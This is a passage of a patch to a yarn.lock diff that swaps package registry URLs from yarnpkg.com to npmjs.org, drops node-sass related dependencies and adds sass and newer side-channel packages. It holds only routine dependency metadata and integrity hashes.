--  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
-+  resolved "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz"
-   integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
- 
- resolve-pkg@^2.0.0:
-   version "2.0.0"
--  resolved "https://registry.yarnpkg.com/resolve-pkg/-/resolve-pkg-2.0.0.tgz#ac06991418a7623edc119084edc98b0e6bf05a41"
-+  resolved "https://registry.npmjs.org/resolve-pkg/-/resolve-pkg-2.0.0.tgz"
-   integrity sha512-+1lzwXehGCXSeryaISr6WujZzowloigEofRB+dj75y9RRa/obVcYgbHJd53tdYw8pvZj8GojXaaENws8Ktw/hQ==
-   dependencies:
-     resolve-from "^5.0.0"
- 
--resolve@^1.10.0, resolve@^1.19.0, resolve@^1.9.0:
-+resolve@^1.19.0, resolve@^1.9.0:
-   version "1.22.8"
--  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.8.tgz#b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d"
-+  resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz"
-   integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==
-   dependencies:
-     is-core-module "^2.13.0"
-     path-parse "^1.0.7"
-     supports-preserve-symlinks-flag "^1.0.0"
- 
--retry@^0.12.0:
--  version "0.12.0"
--  resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
--  integrity sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==
--
- rimraf@^2.6.2:
-   version "2.7.1"
--  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-+  resolved "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz"
-   integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
-   dependencies:
-     glob "^7.1.3"
- 
--rimraf@^3.0.2:
--  version "3.0.2"
--  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
--  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
--  dependencies:
--    glob "^7.1.3"
--
--safe-buffer@>=5.1.0, safe-buffer@~5.2.0:
-+safe-buffer@>=5.1.0:
-   version "5.2.1"
--  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-+  resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz"
-   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
- 
--safe-buffer@~5.1.0, safe-buffer@~5.1.1:
--  version "5.1.2"
--  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
--  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
--
- safe-json-parse@~1.0.1:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/safe-json-parse/-/safe-json-parse-1.0.1.tgz#3e76723e38dfdda13c9b1d29a1e07ffee4b30b57"
-+  resolved "https://registry.npmjs.org/safe-json-parse/-/safe-json-parse-1.0.1.tgz"
-   integrity sha512-o0JmTu17WGUaUOHa1l0FPGXKBfijbxK6qoHzlkihsDXxzBHvJcA7zgviKR92Xs841rX9pK16unfphLq0/KqX7A==
- 
- "safer-buffer@>= 2.1.2 < 3.0.0":
-   version "2.1.2"
--  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-+  resolved "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz"
-   integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
- 
--sass-graph@^4.0.1:
--  version "4.0.1"
--  resolved "https://registry.yarnpkg.com/sass-graph/-/sass-graph-4.0.1.tgz#2ff8ca477224d694055bf4093f414cf6cfad1d2e"
--  integrity sha512-5YCfmGBmxoIRYHnKK2AKzrAkCoQ8ozO+iumT8K4tXJXRVCPf+7s1/9KxTSW3Rbvf+7Y7b4FR3mWyLnQr3PHocA==
--  dependencies:
--    glob "^7.0.0"
--    lodash "^4.17.11"
--    scss-tokenizer "^0.4.3"
--    yargs "^17.2.1"
--
--scss-tokenizer@^0.4.3:
--  version "0.4.3"
--  resolved "https://registry.yarnpkg.com/scss-tokenizer/-/scss-tokenizer-0.4.3.tgz#1058400ee7d814d71049c29923d2b25e61dc026c"
--  integrity sha512-raKLgf1LI5QMQnG+RxHz6oK0sL3x3I4FN2UDLqgLOGO8hodECNnNh5BXn7fAyBxrA8zVzdQizQ6XjNJQ+uBwMw==
-+sass@^1.89.2:
-+  version "1.89.2"
-+  resolved "https://registry.npmjs.org/sass/-/sass-1.89.2.tgz"
-+  integrity sha512-xCmtksBKd/jdJ9Bt9p7nPKiuqrlBMBuuGkQlkhZjjQk3Ty48lv93k5Dq6OPkKt4XwxDJ7tvlfrTa1MPA9bf+QA==
-   dependencies:
--    js-base64 "^2.4.9"
--    source-map "^0.7.3"
-+    chokidar "^4.0.0"
-+    immutable "^5.0.2"
-+    source-map-js ">=0.6.2 <2.0.0"
-+  optionalDependencies:
-+    "@parcel/watcher" "^2.4.1"
- 
- select2@4.1.0-rc.0:
-   version "4.1.0-rc.0"
--  resolved "https://registry.yarnpkg.com/select2/-/select2-4.1.0-rc.0.tgz#ba3cd3901dda0155e1c0219ab41b74ba51ea22d8"
-+  resolved "https://registry.npmjs.org/select2/-/select2-4.1.0-rc.0.tgz"
-   integrity sha512-Hr9TdhyHCZUtwznEH2CBf7967mEM0idtJ5nMtjvk3Up5tPukOLXbHUNmh10oRfeNIhj+3GD3niu+g6sVK+gK0A==
- 
- select@^1.1.2:
-   version "1.1.2"
--  resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d"
-+  resolved "https://registry.npmjs.org/select/-/select-1.1.2.tgz"
-   integrity sha512-OwpTSOfy6xSs1+pwcNrv0RBMOzI39Lp3qQKUTPVVPRjCdNa5JH/oPRiqsesIskK8TVgmRiHwO4KXlV2Li9dANA==
- 
--"semver@2 || 3 || 4 || 5":
--  version "5.7.2"
--  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
--  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
--
--semver@^7.3.4, semver@^7.3.5:
--  version "7.6.3"
--  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
--  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
--
--set-blocking@^2.0.0:
--  version "2.0.0"
--  resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
--  integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==
--
--set-function-length@^1.2.1:
--  version "1.2.2"
--  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
--  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
-+side-channel-list@^1.0.0:
-+  version "1.0.0"
-+  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
-+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
-   dependencies:
--    define-data-property "^1.1.4"
-     es-errors "^1.3.0"
--    function-bind "^1.1.2"
--    get-intrinsic "^1.2.4"
--    gopd "^1.0.1"
--    has-property-descriptors "^1.0.2"
--
--shebang-command@^2.0.0:
--  version "2.0.0"
--  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
--  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
--  dependencies:
--    shebang-regex "^3.0.0"
-+    object-inspect "^1.13.3"
- 
--shebang-regex@^3.0.0:
--  version "3.0.0"
--  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
--  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
--
--side-channel@^1.0.6:
--  version "1.0.6"
--  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.6.tgz#abd25fb7cd24baf45466406b1096b7831c9215f2"
--  integrity sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==
-+side-channel-map@^1.0.1:
-+  version "1.0.1"
-+  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
-+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
-   dependencies:
--    call-bind "^1.0.7"
-+    call-bound "^1.0.2"
-     es-errors "^1.3.0"
--    get-intrinsic "^1.2.4"
--    object-inspect "^1.13.1"
--
--signal-exit@^3.0.7:
--  version "3.0.7"
--  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
--  integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
-+    get-intrinsic "^1.2.5"
-+    object-inspect "^1.13.3"
- 
--smart-buffer@^4.2.0:
--  version "4.2.0"
--  resolved "https://registry.yarnpkg.com/smart-buffer/-/smart-buffer-4.2.0.tgz#6e1d71fa4f18c05f7d0ff216dd16a481d0e8d9ae"
--  integrity sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==
--
--socks-proxy-agent@^6.0.0:
--  version "6.2.1"
--  resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz#2687a31f9d7185e38d530bef1944fe1f1496d6ce"
--  integrity sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==
--  dependencies:
--    agent-base "^6.0.2"
--    debug "^4.3.3"
--    socks "^2.6.2"
--
--socks-proxy-agent@^7.0.0:
--  version "7.0.0"
--  resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-7.0.0.tgz#dc069ecf34436621acb41e3efa66ca1b5fed15b6"
--  integrity sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==
-+side-channel-weakmap@^1.0.2:
-+  version "1.0.2"
-+  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
-+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
-   dependencies:
--    agent-base "^6.0.2"
--    debug "^4.3.3"
--    socks "^2.6.2"
-+    call-bound "^1.0.2"
-+    es-errors "^1.3.0"
-+    get-intrinsic "^1.2.5"
-+    object-inspect "^1.13.3"
-+    side-channel-map "^1.0.1"
- 
--socks@^2.6.2:
--  version "2.8.3"
--  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.3.tgz#1ebd0f09c52ba95a09750afe3f3f9f724a800cb5"
--  integrity sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==
-+side-channel@^1.1.0:
-+  version "1.1.0"
-+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
-+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
-   dependencies:
--    ip-address "^9.0.5"
--    smart-buffer "^4.2.0"
-+    es-errors "^1.3.0"
-+    object-inspect "^1.13.3"
-+    side-channel-list "^1.0.0"
-+    side-channel-map "^1.0.1"
-+    side-channel-weakmap "^1.0.2"
- 
--source-map-js@^1.2.1:
-+"source-map-js@>=0.6.2 <2.0.0", source-map-js@^1.2.1:
-   version "1.2.1"
--  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46"
-+  resolved "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz"
-   integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
- 
- source-map@^0.5.3:
-   version "0.5.7"
--  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-+  resolved "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz"
-   integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==
- 
- source-map@^0.6.1:
-   version "0.6.1"
--  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
-+  resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz"
-   integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
- 
--source-map@^0.7.3:
--  version "0.7.4"
--  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.4.tgz#a9bbe705c9d8846f4e08ff6765acf0f1b0898656"
--  integrity sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==
--
--spdx-correct@^3.0.0:
--  version "3.2.0"
--  resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.2.0.tgz#4f5ab0668f0059e34f9c00dce331784a12de4e9c"
--  integrity sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==
--  dependencies:
--    spdx-expression-parse "^3.0.0"
--    spdx-license-ids "^3.0.0"
--
--spdx-exceptions@^2.1.0:
--  version "2.5.0"
--  resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz#5d607d27fc806f66d7b64a766650fa890f04ed66"
--  integrity sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==
--
--spdx-expression-parse@^3.0.0:
--  version "3.0.1"
--  resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
--  integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==
--  dependencies:
--    spdx-exceptions "^2.1.0"
--    spdx-license-ids "^3.0.0"
--
--spdx-license-ids@^3.0.0:
--  version "3.0.20"
--  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.20.tgz#e44ed19ed318dd1e5888f93325cee800f0f51b89"
--  integrity sha512-jg25NiDV/1fLtSgEgyvVyDunvaNHbuwF9lfNV17gSmPFAlYzdfNBlLtLzXTevwkPj7DhGbmN9VnmJIgLnhvaBw==
--
--sprintf-js@^1.1.1, sprintf-js@^1.1.3:
-+sprintf-js@^1.1.1:
-   version "1.1.3"
--  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.3.tgz#4914b903a2f8b685d17fdf78a70e917e872e444a"
-+  resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz"
-   integrity sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==
- 
- sprintf-js@~1.0.2:
-   version "1.0.3"
--  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
-+  resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz"
-   integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==
- 
--ssri@^8.0.0, ssri@^8.0.1:
--  version "8.0.1"
--  resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af"
--  integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==
--  dependencies:
--    minipass "^3.1.1"
--
--ssri@^9.0.0:
--  version "9.0.1"
--  resolved "https://registry.yarnpkg.com/ssri/-/ssri-9.0.1.tgz#544d4c357a8d7b71a19700074b6883fcb4eae057"
--  integrity sha512-o57Wcn66jMQvfHG1FlYbWeZWW/dHZhJXjpIcTfXldXEk5nz5lStPo3mK0OJQfGR3RbZUlbISexbljkJzuEj/8Q==
--  dependencies:
--    minipass "^3.1.1"
--
--stdout-stream@^1.4.0:
--  version "1.4.1"
--  resolved "https://registry.yarnpkg.com/stdout-stream/-/stdout-stream-1.4.1.tgz#5ac174cdd5cd726104aa0c0b2bd83815d8d535de"
--  integrity sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==
--  dependencies:
--    readable-stream "^2.0.1"
--
- string-template@~0.2.1:
-   version "0.2.1"
--  resolved "https://registry.yarnpkg.com/string-template/-/string-template-0.2.1.tgz#42932e598a352d01fc22ec3367d9d84eec6c9add"
-+  resolved "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz"
-   integrity sha512-Yptehjogou2xm4UJbxJ4CxgZx12HBfeystp0y3x7s4Dj32ltVVG1Gg8YhKjHZkHicuKpZX/ffilA8505VbUbpw==
- 
--"string-width@^1.0.2 || 2 || 3 || 4", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
--  version "4.2.3"
--  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
--  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
--  dependencies:
--    emoji-regex "^8.0.0"
--    is-fullwidth-code-point "^3.0.0"
--    strip-ansi "^6.0.1"
--
- string_decoder@0.10:
-   version "0.10.31"
--  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-0.10.31.tgz#62e203bc41766c6c28c9fc84301dab1c5310fa94"
-+  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz"
-   integrity sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==
- 
--string_decoder@^1.1.1:
--  version "1.3.0"
--  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
--  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
--  dependencies:
--    safe-buffer "~5.2.0"
--
--string_decoder@~1.1.1:
--  version "1.1.1"
--  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
--  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
--  dependencies:
--    safe-buffer "~5.1.0"
--
- strip-ansi@^3.0.0:
-   version "3.0.1"
--  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-+  resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz"
-   integrity sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==
-   dependencies:
-     ansi-regex "^2.0.0"
- 
--strip-ansi@^6.0.0, strip-ansi@^6.0.1:
--  version "6.0.1"
--  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
--  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
--  dependencies:
--    ansi-regex "^5.0.1"
--
--strip-indent@^3.0.0:
--  version "3.0.0"
--  resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-3.0.0.tgz#c32e1cee940b6b3432c771bc2c54bcce73cd3001"
--  integrity sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==
--  dependencies:
--    min-indent "^1.0.0"
--
- supports-color@^2.0.0:
-   version "2.0.0"
--  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
-+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz"
-   integrity sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==
- 
- supports-color@^5.3.0, supports-color@^5.4.0:
-   version "5.5.0"
--  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
-+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz"
-   integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
-   dependencies:
-     has-flag "^3.0.0"
- 
- supports-color@^7.1.0:
-   version "7.2.0"
--  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
-+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz"
-   integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
-   dependencies:
-     has-flag "^4.0.0"
- 
- supports-preserve-symlinks-flag@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
-+  resolved "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz"
-   integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
- 
--tar@^6.0.2, tar@^6.1.11, tar@^6.1.2:
--  version "6.2.1"
--  resolved "https://registry.yarnpkg.com/tar/-/tar-6.2.1.tgz#717549c541bc3c2af15751bea94b1dd068d4b03a"
--  integrity sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==
--  dependencies:
--    chownr "^2.0.0"
--    fs-minipass "^2.0.0"
--    minipass "^5.0.0"
--    minizlib "^2.1.1"
--    mkdirp "^1.0.3"
--    yallist "^4.0.0"
--
- tiny-emitter@^2.0.0:
-   version "2.1.0"
--  resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.1.0.tgz#1d1a56edfc51c43e863cbb5382a72330e3555423"
-+  resolved "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz"
-   integrity sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==
- 
- tiny-lr@^1.1.1:
-   version "1.1.1"
--  resolved "https://registry.yarnpkg.com/tiny-lr/-/tiny-lr-1.1.1.tgz#9fa547412f238fedb068ee295af8b682c98b2aab"
-+  resolved "https://registry.npmjs.org/tiny-lr/-/tiny-lr-1.1.1.tgz"
-   integrity sha512-44yhA3tsaRoMOjQQ+5v5mVdqef+kH6Qze9jTpqtVufgYjYt08zyZAwNwwVBj3i1rJMnR52IxOW0LK0vBzgAkuA==
-   dependencies:
-     body "^5.1.0"
-@@ -2423,36 +1527,11 @@ tiny-lr@^1.1.1:
- 
- to-regex-range@^5.0.1:
-   version "5.0.1"
--  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
-+  resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz"
-   integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
-   dependencies:
-     is-number "^7.0.0"
- 
--trim-newlines@^3.0.0:
--  version "3.0.1"
--  resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-3.0.1.tgz#260a5d962d8b752425b32f3a7db0dcacd176c144"
--  integrity sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==
--
--"true-case-path@^2.2.1":
--  version "2.2.1"
--  resolved "https://registry.yarnpkg.com/true-case-path/-/true-case-path-2.2.1.tgz#c5bf04a5bbec3fd118be4084461b3a27c4d796bf"
--  integrity sha512-0z3j8R7MCjy10kc/g+qg7Ln3alJTodw9aDuVWZa3uiWqfuBMKeAeP2ocWcxoyM3D73yz3Jt/Pu4qPr4wHSdB/Q==
--
--type-fest@^0.18.0:
--  version "0.18.1"
--  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.18.1.tgz#db4bc151a4a2cf4eebf9add5db75508db6cc841f"
